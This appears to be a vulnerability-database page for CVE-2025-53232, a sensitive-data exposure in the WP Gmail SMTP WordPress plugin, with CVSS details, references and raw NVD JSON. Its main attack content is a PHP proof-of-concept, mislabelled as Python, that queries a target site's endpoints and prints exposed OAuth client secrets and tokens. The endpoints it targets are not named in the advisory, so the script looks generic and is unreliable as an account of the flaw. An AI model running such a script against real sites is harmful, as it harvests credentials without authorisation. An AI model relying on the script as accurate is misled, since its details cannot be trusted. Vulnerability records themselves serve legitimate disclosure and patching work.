CVE-2025-53232

Description

Insertion of Sensitive Information Into Sent Data vulnerability in inkthemes WP Gmail SMTP wp-gmail-smtp allows Retrieve Embedded Sensitive Data.This issue affects WP Gmail SMTP: from n/a through <= 1.0.7.

CVSS Details

CVSS Score

5.8

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

WP Gmail SMTP (wp-gmail-smtp) <= 1.0.7

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<?php
// CVE-2025-53232 PoC - WP Gmail SMTP Sensitive Data Exposure
// Target: WordPress site with WP Gmail SMTP plugin <= 1.0.7

$target = 'http://target-wordpress-site.com';

// Check if plugin is installed and vulnerable
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target . '/wp-admin/admin-ajax.php?action=wp_gmail_smtp_status');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[*] Checking WP Gmail SMTP plugin status...\n";
echo "[*] HTTP Response Code: $http_code\n";

if ($http_code == 200 && strpos($response, 'gmail') !== false) {
    echo "[+] Plugin detected, checking for exposed credentials...\n";
    
    // Attempt to retrieve configuration endpoint
    $config_url = $target . '/wp-json/wp-gmail-smtp/v1/config';
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $config_url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $config_response = curl_exec($ch);
    curl_close($ch);
    
    // Check for sensitive data in response
    if (preg_match('/(client_id|client_secret|access_token|refresh_token)/i', $config_response)) {
        echo "[!] VULNERABLE: Sensitive credentials may be exposed in API response\n";
        echo $config_response;
    }
} else {
    echo "[-] Plugin not detected or not vulnerable\n";
}

// Note: This PoC is for educational and authorized testing purposes only
?>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-53232
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-53232
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-53232/
[4] VulDB https://vuldb.com/cve/CVE-2025-53232
[5] https://patchstack.com/database/Wordpress/Plugin/wp-gmail-smtp/vulnerability/wordpress-wp-gmail-smtp-plugin-1-0-7-sensitive-data-exposure-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-53232", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:48.277", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insertion of Sensitive Information Into Sent Data vulnerability in inkthemes WP Gmail SMTP wp-gmail-smtp allows Retrieve Embedded Sensitive Data.This issue affects WP Gmail SMTP: from n/a through <= 1.0.7."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N", "baseScore": 5.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-201"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wp-gmail-smtp/vulnerability/wordpress-wp-gmail-smtp-plugin-1-0-7-sensitive-data-exposure-vulnerability?_s_id=cve", "source": "[email protected]"}]}}